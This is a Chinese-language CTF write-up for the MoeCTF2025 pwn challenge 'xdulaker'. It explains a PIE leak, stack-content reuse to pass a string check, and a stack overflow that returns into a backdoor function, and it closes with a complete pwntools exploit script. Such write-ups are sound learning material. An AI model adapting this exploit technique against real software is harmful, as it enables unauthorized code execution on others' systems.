xdulaker

moectfxdulaker (5).png

main函数:

moectfxdulaker (1).png

pull函数:

moectfxdulaker (4).png

photo函数:

moectfxdulaker (3).png

laker函数:

moectfxdulaker (2).png

题目有后门函数,pull直接给了我们pie地址,我们可以得到后门函数的地址,然后photo函数有一个读取,但是不够栈溢出的,laker有一个栈溢出,但是要检查s1开头是否有xdulaker,我们前面只有photo一个输入点,这里我们利用的是栈内容的留存,显而易见,photo和laker都是在main函数中调用,那它们的rbp的内存地址是相同的,可以看我画的调用函数的过程

moectfxdulaker (8).png

moectfxdulaker (10).png

我们可以观察到,每个函数调用结束后rbp和rsp都会回到原来的位置,而被调用函数的栈帧的rbp是call指令执行瞬间的rsp - 16,在绝大部分菜单while循环中,每个选项的call时的rsp都是相同的,如果不同每次rsp都改变的话无限循环rsp就会超出范围(有特殊情况会改变rsp),我们也可以选择看汇编

moectfxdulaker (9).png

我们看到在每个分支的call前,都是mov、cmp、jnz这种不改变rsp的指令(push、pop等就是改变)

那这题的思路就很明显了,我们看到photo中的buf的位置比laker的s1的位置高(以rbp为基址,它们的rbp的地址一样),我们先用photo像buf输入把s1位置开头写入xdulaker,就能通过laker的检查然后栈溢出了

EXP:

from pwn import *
context(arch='amd64', os='linux')

file_name = './pwn'

elf = ELF(file_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1

if switch:
    target = ''
    port   = 0
    p = remote(target, port)
else:
    p = process(file_name)

if debug:
    context(log_level='debug')

if gdb_ and switch == 0:
    gdb.attach(p)
    pause()

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt='>'):  return sla(pmt.encode() if isinstance(pmt, str) else pmt, str(idx).encode())
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'\n', name='Leak'):    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def fill(num, content=b'A'):         return (content.encode() if isinstance(content, str) else content) * num
def search(s):           return next(elf.search(s if isinstance(s, bytes) else s.encode()))
#################################################################################

menu(1)
[leak] = ga()
piebase = leak - 0x4010
ntpie(leak,0x4010)
backdoor = elf.sym['backdoor']
ret = search(asm('ret'))

menu(2)

payload = flat([
    fill(0x20),
    "xdulaker"
])
sa(b"Hey,what's your name?!",payload)

menu(3)
payload1 = flat([
    fill(0x30+8),
    ret,
    backdoor
])
sa(b"welcome,xdulaker",payload1)
it()

题目链接:

CTF-Writeups/MoeCTF2025/xdulaker at main · Zenquiem/CTF-Writeups


xdulaker
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-QLOakOZs
作者
ZenDuk
发布于
2025年12月28日
许可协议